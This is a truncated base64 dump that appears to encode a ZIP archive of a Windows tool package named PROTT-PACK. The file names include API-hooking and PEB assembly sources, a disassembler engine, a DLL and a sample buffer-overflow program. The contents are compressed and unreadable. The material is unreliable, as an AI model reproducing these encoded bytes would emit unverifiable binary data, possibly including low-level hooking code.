WiSSKwVtnCdzjuoYRmvJ1BpCV/tlHayx5cXgL8wB1xgXJIzHj5yXuY/qXEIw
lVyjyAq35LCbJdiLC4cedq3WB8FZOJiF0fR8OglPh+F2v32HZ1SVdMuMFyex
TJI1BKVsZ7Vdan+BWtlcQUYS/raH7fcmynXpu8T4sgPt5lGY5zbvQSCNsUQ4
t0jI4I70qoQnR1V7NivT5OhFRdA+KGhUVp3sNXENr/IkSqzNehRFjN5BrUEI
P8HLusubstq1PGVVio265BUzRaUbRNVimgRBO3pXJuoDzZln0ZIjrRekAscj
6DH25ZrkNBm8D6PT8SAIwumUnNaWSJfrDVTklFWl0gfnB5Kzj6pYtOUpAWBM
5jGb//jN8sQtIDf0UbJThi5tyy/2VNsvtW7ul1PmTOUlRlx3zYFg4MrgksaF
Y77i7GkG24LZgv836qEu+kIbD91yusQJ1+Z+w1Gj0SjvRLoMwyHQ11F5XCE+
LnxW+CHOi8XU5zRUg53Y71HbNcoKuiKNmm2UwMy5asuB9g6TC1dP/C3Z1Iri
9iOKtsHeHZy/O8jrPIy9zn+kr3OIvk5P7M/hQWhqzBT+C2rdh6HWfSBq4Zcw
OKfrkS7J4eez0Sz8F/i6h+Dr9kQts9sgHsBqd5n9AVBLAwQUAAAACAAihcEy
CsHJwuwFAADWDwAAMQAAAFBST1RULVBBQ0svcHJvdHR5LW9sZC9zb3VyY2Uv
cHJvdHR5MS9pYXRfa2lsbC5pbmO1V21vGkcQ/nyR8h/G+dImsanlplIFjgWF
a0JlgwU0L40stOwtsPHd7fV2z4B/fWd275VgJ7JUZItlb3Zen3l2rnNycgLD
q+vxZAYT/4M/mfkTOHn08/xZ53GBBw6BP5pNPoPf+/QWZMRWYsG0ALWESAVZ
KJ6qljS/evUKpu8phoE/7U+G17PheGR327nEEJYqiwMwGwUbtiOztzIMZbyC
9kv4U6Y6NDvYCOAsBnUn0k0qDfkEZi1g2MPsfOiBjOHaf38MDDXFyqzp+AbV
wJoliYjhZ67ugS2NSOlkqFhAhgaXlyANaCEiDUbBQtBhyLQIUNMuUql4STp3
6Bidy70gw4GyX5pFApy5UN4KtGnW4H+iqk2BjmgFcgk7lWFwsQEWBCSuYSmY
yVIBKwUqxkhJVjqXv2baQMRQGyvjC4Q2qdpZ9/GvNxhgGtt4ImIBysVWMEZn
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
Ymc6WIQIJiGGa5N304RT9CaFA8wgTWcDuzN1NC35E8/ZjsubB9h7IIMTeGEI
TdBTyftlW7E/AVBLAwQUAAAACABzWXkyLXkaxDAEAABPEAAAMQAAAFBST1RU
LVBBQ0svcHJvdHR5LW9sZC9zb3VyY2UvcHJvdHR5MS9MREUzMkJJTi5JTkON
V8tu3DAMvBfoP/jWS7e1bPnVnPwEChT9hSJB3NhAswG6e+rX1xyKetjaJEAg
7K6G5HBIUcpd8mMY86z7/vPL9599cjolP+bz03U5Devl/nKZnx/+zH+T8fy0
nufk69c8Oz2s148f7pKn+Tz/vb/Oj8nv9c/8JXl8Sc4v12R+5O1Tcl3WS7L9
/UufH9b504UDJTO7OiUfPzxSiOdf63m9ftu+PSRpXy+f0zQNlpKWutuWaqDf
6oWxU799G2FQRKzUtvSNwfYZ/a5lM89pkz4V/sLY0nJoW1nYJW2oaVuGVjjQ
t3SSzZaWrtqWqaHFbHjYipaJ+OaltbJhNoiH3W26RRgytg6pFoe0vNzwrQSs
EEf4NA1CTgU6AIuMqiqw0iRmoQ12pN9rLZugryuBae3rUFPi00h8O/kEq4w4
NMi8M9i2DFi2hCjB1+qglORWCMyxhCJKeYuXGyoADgrqWat6ZFPGDlTKsg9y
gxXXog1qnAlLCOrKGOEwqOimWbDRFKIZgpZCFZsD+omIQNG693O72Tby1egb
boK0RqxGsrS5ja2tG1V2sNXOCFsVfv8WuXVpDVodKKJbXzOUvckCkeF3bLgx
Gds1ixzybPGPO070QHxH4avy5TAVkNFIphOF6XODTTsxRx4peh1tR/QLHJjS
P0MdOc/ok4YplQwC9bnPYewlGbdgXNQEa00OhoNliaE2qqNpZflSxTs3LMOx
GXIYdMQRlB4lVj/4cyeIZyYpw8plP6McrNAC63wn/uyjoDjkDKv3vBgLby7B
OqygJGj0raWoMebihLFZ3JFh04yv5ObJ7V81Xt3giBGRtgv51u/jy0WNV3Yz
eB/fPH2TL5Yszte1mIoIh1117N8d1eJWPxBCOdj7+iFVr+grjOLCSb5v8M1f
619HZFdBi/VC3Wxdfvg836/n9z180HUy4PHwcQPPPWbaXgz0EDQR7jhskng5
hhLlUeFFJJc4/15JPFxDMOg7y+soHhxBlby2VEs2NblZcxVmiYAYh1Xh83V5
NJY0W+lDI2OQTvZEcXi6JWpaCtEs0yIBLpQpUpktc6+AsTZjuQqOamphsSNx
4LdfJe0kJ2evGTtqLf1cGra1+iqbTB7AIKFE8P3WR6qFE7MNBhAuKjzvStEX
1w3uvT54WOJJ0FuXugkT1PHDBKxyEUBfHuOpaz1IYMNoZzocOOATK1LvG9P4
DYcYCoI3BDtpfL5em+J9T9NUl4IVMfYc9Nsc1JEDHyQ/EcNBC4dAJNNiwtBw
2J1DHYQJ+yF2Y7KqWkhPYe9kUW/R85amy+6QS/+mPt+ot8OM83UYgzbPdqbZ
jT6LnJBS/O7O4a40HFVmVNsvh4O7k6XSfp+hZPzS31kdNZNQBwOVHrB7g5BX
duOyZYMDL2+e6VtNIbzMnPSvGzNEAXMDtLRznTb5P2v7D+l/UEsDBBQAAAAI
ACaGwTKu6d/M7wQAABENAAAtAAAAUFJPVFQtUEFDSy9wcm90dHktb2xkL3Nv
dXJjZS9wcm90dHkxL21haW4uaW5jnVZbU9s4FH52Z/ofNLyVQkrbB3bCXnCJ
YbOb2yYpbbeT8cjWgQhsSyPJJPTX75FsJU5IaLvOQBydi87lO590dnx8TPph
d0Auu72IHD/7vHxxRrShypRSE5plRCphIDVcFBplzxs/dTUaD6fTL/brr+hi
So5JqoAaYCR5JCMujCIfaMEp+TWxXy1pl85vc8qzViry362LuTGy/eaNTFpa
QsppxjWwFi9uxE/HYz91crF10H75ghDN48VIiRS0FipU6ZzbfEsFpH4+Dced
+vUPbzAGDeoB89j17DBgixG9hQn/BrsMOmsLb5DJPi94XuahlBlPqW1AyJjC
KPca0OXPGLBFiG19gFXufarvnwuJLQZlnoAaqpuVjX7eYKU3fZTbme8OKctE
FfuVokWZUcXN436D9QY9eIDs+31YG4zhgWvcZ7+B/9QTEOM0BAH+SF++CGSp
55RZaZDmEtFsgEhE89cF1bE1mB29RdkdkHMmCnBLlbadKUyNiTzWgEBcr96C
2yOmkutq5+DMjqAtCGiSQy7UI7kRys0kloUagktQuyO+cs7OzLkmh7XEBg0M
IX1IUsGA6DK9x+kmCTek/eqV28pmRMTNDQZFmjOConMXmeQxRTyRg7+j8SDq
vX/X6vR6B0cHV2Amj9pA3kXtA58M0KVzm4sH+370PEJRUZdJQ3Ef9lFxiQUA
tjzCP+8/dWbrGcN1xt164J4zEoWff5uLBcnLdO7rJVFbk5QWZAG2+N5bgr7r
6I16jAtYmnYjE5Rv9dFpB3mZ2R3xDcv0Y6n4so/CqyiOPkcXH6dRPI7Czqdx
dxp5aT/qxxfDfr87XRl0vgzCfvcirug1nnT/XWlXwZzb+JbkmmMfaeamyqYD
2lQ5OKW7b8Qn6LJdpvNbLC2vxZU7xn3umh/V+NjefhqOp98JTci6OAokovZB
J361LvUGajKgLpBdG7l+gqIaiMhYPQs/ursDz6oANhZthI1lBdZ9o7ye43Y1
L0JaAkAf5glJQMFk5XJXAu0ntBIz4ZmlwS24JWSGvlOAXUkaRHHP47kQ9xV/
uHK4N2IXV8SBgCYfizkiNAMWLVOQFnuXPDOgLJdgiq0GqtlCKFbljXu9jidg
9lnPnH9tB8eS0elphWS7EJ+e2lHhRVrjcJMccW12dHo6t9grgNQWLmD3z3PA
+0Zgzqj+/VyQ1+F4Vrf1f5gOe52Zn3qPpRNf721bZLy+YGUGfzr7cOYVOTVx
QXPQscLjSGGtXHfqTiMnA+mGU+JUmjYb2vccV63a+DpEQiZpqRQUpiJxrRtQ
tTk2grvR7a/vT+az3VJbjNcn6VqM47wtfuvEGxXU/PXJL/OZi6wwbONCuCsF
Z969JL0ovI7iwRTPCGS20XA8nZDoH3JCUFzP+lIK1TQMokGne1mByY9q4vnW
QSrxZ4otfpwJIdsVvd+DKiDDIwkDbLUsrjPBNKvJX1KlobrNZoIyvLVVHrTP
lFVYcZk2ylOhqSLN1YGDpGknto7BkkKwugbYcPvh57g/7HzsRROrfQvb6k67
mU6DtldnDGuQ4mZ59xSvyabBXS5Jo0j+IhNsRdL23iQkcd3WBp2Mog8bza6d
nNt49TdycHhIHJ91B1f+nn94eGAvWtWzc3aGpZGl6UBS3k6M4sVtOFvftLZJ
dceUBni2njyV1MuesoOAJfb3U5a11PwfUEsDBBQAAAAIADlZeTJ9MsH0MQEA
ABsCAAAsAAAAUFJPVFQtUEFDSy9wcm90dHktb2xkL3NvdXJjZS9wcm90dHkx
L3BlYi5pbmN9UF1PwjAUfS4J/+H6ppGN+fUCRh1QQINjYfXBELN0XWGN21q3
IvjvbWeMJpr15Z6ee+/pOR06jgMR8VfkKYwgxCMIV0uCx+R+GYDTerqdYTNM
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
8wIJBX+BjCPCitTzvBM8MgmtpGkjsqldq1cUq0jvbXVOU73TbGc6SnhBdb6j
LWhitGZq6jTFguF0nJkhqsHXwEZ7QaW0TC9IGvu1qnGHbbQgou3heR8Jjas0
MrJsL9u4iajj5AnzIulGtHNFN0JrwUsVHVj7QN4mVJImVR+YVqgkDPVwH1i0
5/zQC/bzChp3Awz9SSutMRU95qRUIcFkN7i6868/LYK1F6yXw8Hdbj1/CJan
hkSPwXf/9tLlSSL1W38LmtbZNum2gf7PjNfn3bPzFVBLAwQKAAAAAABwmHQy
Ys3JchUAAAAVAAAAKAAAAFBST1RULVBBQ0svcHJvdHR5LW9sZC9zb3VyY2Uv
cHJvdHR5MS5kZWZFWFBPUlRTDQpTVEFSVF9QUk9UVFlQSwMECgAAAAAAJ1jB
MgAAAAAAAAAAAAAAABoAAABQUk9UVC1QQUNLL3Byb3R0eV9leGFtcGxlL1BL
AwQUAAAACACVYYwyFa7ZtaICAAAMBQAAJQAAAFBST1RULVBBQ0svcHJvdHR5
X2V4YW1wbGUvc2FtcGxlX2JvLmOlU91v2jAQfwaJ/+FGXwILJaXrw9Z1UtdR
UakqFWUPFUPIJBfiNbEj20noKv73nU34UJ8mzUTGvvP97ut3J1yEaREhfNUm
4vI0+dZqnhzLUr58J6y4iGSl30lDKWrzVrPfBZ1gmoaSND2oFDcIWmZ4JDYJ
M1Bo1JAraTA0GEGGYcIE15nu9lvNQmi+EiQmoYKIGTY7G8zhCt5azUaw/hz4
8L97q7m5tAFvf/1uwyRcA30moVhZlqcIcSFCw6WAKuFhArJE5RLaPloWcSwV
UERCqoyloA0LX9yrOJVVwybSapaSRyAr4blUuloWKsSOS8RJZDkbBHMKpZFh
Fuavniz97SP/4mzQsYpccWFiUtjb5hA0SSFjXHj2wNQq9Lc+6FjO5s7Hzosr
/owA55eNevX7lBaq48ZUPE1hiZCnLMRoZ/s7yxeo8/XsfH715goYrG9vaRt+
2lzuoDhgiYLCIZhXWQCDtpB5j2yBbNvwpUNwh0UWCrfkIEAwEtY3N/bPKHIN
NppTFz19RKlerwc/xvAwnsJ0/PNmBNPR3RNhOoWtc+NesuieLxVTr97wYTqc
LB4n4+n0eXF/931yPXlePF5Pb0aL0XAydDV9ShFz7ywIAnf9Fx8uHmqSRuO5
mvmuGAMLcUiLsoaY6shWSM8XTGfwdpy2o1nNovautG0omeJsmVqbRooMcLn2
nZODpYxjcg0eiw2qPc06gDy3ViyKnNUgOO5w3VGFEVfbSaMit3dt2Xtja38X
y8GYiQiqmhWpvXAaS+qvjA+csQiZLGFGruc+4ZBgs+1bzWf39OP5hW/H2Nf8
D8rYs+dOZ88ebeQxEeta17xvd7eLyPXCxQqWUmY9u0Gt6P4S7Y4b5oYdNAez
b4nDJ0vcV+xDDa/QFEpAYIfqL1BLAQIUAAoAAAAAAE9YwTIAAAAAAAAAAAAA
AAALAAAAAAAAAAAAEAAAAAAAAABQUk9UVC1QQUNLL1BLAQIUABQAAAAIAHBD
wjKHEuc5KQIAAPcDAAAXAAAAAAAAAAEAIAAAACkAAABQUk9UVC1QQUNLL01V
U1RSRUFELnR4dFBLAQIUAAoAAAAAAPdWwTIAAAAAAAAAAAAAAAAaAAAAAAAA
AAAAEAAAAIcCAABQUk9UVC1QQUNLL3Byb3R0eS1jdXJyZW50L1BLAQIUAAoA
AAAAABFXwTIAAAAAAAAAAAAAAAAeAAAAAAAAAAAAEAAAAL8CAABQUk9UVC1Q
QUNLL3Byb3R0eS1jdXJyZW50L2Jpbi9QSwECFAAUAAAACADAisEyoZ/aT+kQ
AAAAMAAAKAAAAAAAAAAAACAAAAD7AgAAUFJPVFQtUEFDSy9wcm90dHktY3Vy
cmVudC9iaW4vcHJvdHR5LkRMTFBLAQIUABQAAAAIAI+KwTL7ri1qlgAAANQA
AAAoAAAAAAAAAAEAIAAAACoUAABQUk9UVC1QQUNLL3Byb3R0eS1jdXJyZW50
L2Jpbi9SRUFETUUudHh0UEsBAhQACgAAAAAAFljBMgAAAAAAAAAAAAAAACEA
AAAAAAAAAAAQAAAABhUAAFBST1RULVBBQ0svcHJvdHR5LWN1cnJlbnQvc291
cmNlL1BLAQIUABQAAAAIAFlheTJDRARvYgAAAI4AAAAsAAAAAAAAAAEAIAAA
AEUVAABQUk9UVC1QQUNLL3Byb3R0eS1jdXJyZW50L3NvdXJjZS9jb21waWxl
LmJhdFBLAQIUABQAAAAIAC5aeTIvAUUgoQUAADcUAAAvAAAAAAAAAAEAIAAA
APEVAABQUk9UVC1QQUNLL3Byb3R0eS1jdXJyZW50L3NvdXJjZS9kZWJ1Z19w
cm90LmluY1BLAQIUABQAAAAIAL1ziTJ7evqn/AEAAF0EAAArAAAAAAAAAAEA
IAAAAN8bAABQUk9UVC1QQUNLL3Byb3R0eS1jdXJyZW50L3NvdXJjZS9teV9k
bGwuaW5jUEsBAhQACgAAAAAAnYzBMgAAAAAAAAAAAAAAACYAAAAAAAAAAAAQ
AAAAJB4AAFBST1RULVBBQ0svcHJvdHR5LWN1cnJlbnQvc291cmNlL3Byb3Qv
UEsBAhQAFAAAAAgAMUpPLJnanyiBAgAAbAoAAC8AAAAAAAAAAQAgAAAAaB4A
AFBST1RULVBBQ0svcHJvdHR5LWN1cnJlbnQvc291cmNlL3Byb3QvQURFMzIu
QVNIUEsBAhQAFAAAAAgAMU1PLMnuzR6JBgAAsR4AADIAAAAAAAAAAQAgAAAA
NiEAAFBST1RULVBBQ0svcHJvdHR5LWN1cnJlbnQvc291cmNlL3Byb3QvQURF
MzJCSU4uQVNJUEsBAhQAFAAAAAgAGVTBMjDHoskfAwAAFgYAAC4AAAAAAAAA
AQAgAAAADygAAFBST1RULVBBQ0svcHJvdHR5LWN1cnJlbnQvc291cmNlL3By
b3QvY29uZi5pbmNQSwECFAAUAAAACACcicEycKjX0/oCAADrCQAAMAAAAAAA
AAABACAAAAB6KwAAUFJPVFQtUEFDSy9wcm90dHktY3VycmVudC9zb3VyY2Uv
cHJvdC9leGNlcHQuaW5jUEsBAhQAFAAAAAgAaVyTMoBVHcjnAwAAmAoAADUA
AAAAAAAAAQAgAAAAwi4AAFBST1RULVBBQ0svcHJvdHR5LWN1cnJlbnQvc291
cmNlL3Byb3QvZXhwb3J0X2tpbGwuaW5jUEsBAhQAFAAAAAgAmlKrMn42UcAH
AgAABwgAADEAAAAAAAAAAQAgAAAA/DIAAFBST1RULVBBQ0svcHJvdHR5LWN1
cnJlbnQvc291cmNlL3Byb3QvZ2V0YXBpcy5pbmNQSwECFAAUAAAACAB2Uqsy
R4FMWAYEAADFDgAAMgAAAAAAAAABACAAAABSNQAAUFJPVFQtUEFDSy9wcm90
